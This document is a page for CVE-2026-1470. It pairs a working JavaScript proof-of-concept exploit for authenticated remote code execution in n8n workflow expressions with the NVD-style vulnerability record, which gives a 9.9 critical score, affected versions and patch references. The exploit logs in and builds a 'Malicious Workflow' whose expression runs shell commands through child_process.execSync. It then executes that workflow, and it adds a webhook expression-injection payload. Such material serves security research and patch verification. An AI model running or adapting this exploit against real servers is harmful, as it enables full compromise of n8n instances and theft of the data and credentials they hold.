CVE-2026-1470

// CVE-2026-1470 PoC - n8n Expression RCE // This PoC demonstrates how to achieve RCE via n8n workflow expressions // Note: This code is for educational and security research purposes only const axios = require('axios'); async function exploitN8n(baseUrl, credentials) { try { // Step 1: Authenticate to n8n const loginResponse = await axios.post(`${baseUrl}/rest/login`, { email: credentials.email, password: credentials.password }); const sessionCookie = loginResponse.headers['set-cookie']; // Step 2: Create a new workflow const workflowResponse = await axios.post( `${baseUrl}/rest/workflows`, { name: 'Malicious Workflow', nodes: [ { name: 'RCE Node', type: 'n8n-nodes-base.set', position: [250, 300], parameters: { // Malicious expression for RCE value: '={{ require("child_process").execSync("id > /tmp/pwned.txt").toString() }}' } } ], connections: {}, active: false }, { headers: { Cookie: sessionCookie } } ); const workflowId = workflowResponse.data.id; // Step 3: Execute the workflow to trigger RCE await axios.post( `${baseUrl}/rest/workflows/${workflowId}/execute`, {}, { headers: { Cookie: sessionCookie } } ); console.log('[+] RCE Payload delivered successfully'); console.log('[+] Check /tmp/pwned.txt on target server'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage // exploitN8n('http://target-n8n-server:5678', { // email: '[email protected]', // password: 'password123' // }); // Alternative: Direct expression injection via webhook // POST to any webhook node with payload containing expression: // {{ $json.exec(require('child_process').execSync('whoami').toString()) }}

{"cve": {"id": "CVE-2026-1470", "sourceIdentifier": "[email protected]", "published": "2026-01-27T15:15:57.143", "lastModified": "2026-02-20T13:44:27.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations."}, {"lang": "es", "value": "n8n contiene una crítica vulnerabilidad de ejecución remota de código (RCE) en su sistema de evaluación de expresiones de flujo de trabajo. Las expresiones proporcionadas por usuarios autenticados durante la configuración del flujo de trabajo pueden ser evaluadas en un contexto de ejecución que no está suficientemente aislado del tiempo de ejecución subyacente.\n\nUn atacante autenticado podría abusar de este comportamiento para ejecutar código arbitrario con los privilegios del proceso de n8n. La explotación exitosa puede llevar al compromiso total de la instancia afectada, incluyendo el acceso no autorizado a datos sensibles, la modificación de flujos de trabajo y la ejecución de operaciones a nivel de sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-95"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.123.17", "matchCriteriaId": "8FB57226-E06A-4156-9A24-C320BCA37EB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.4.5", "matchCriteriaId": "52026A74-2A68-453E-B465-A30DD1819C2F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:2.5.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "2BBB681B-B071-4A5B-90C0-EA5625C3D5FF"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/commit/aa4d1e5825829182afa0ad5b81f602638f55fa04", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://research.jfrog.com/vulnerabilities/n8n-expression-node-rce/", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}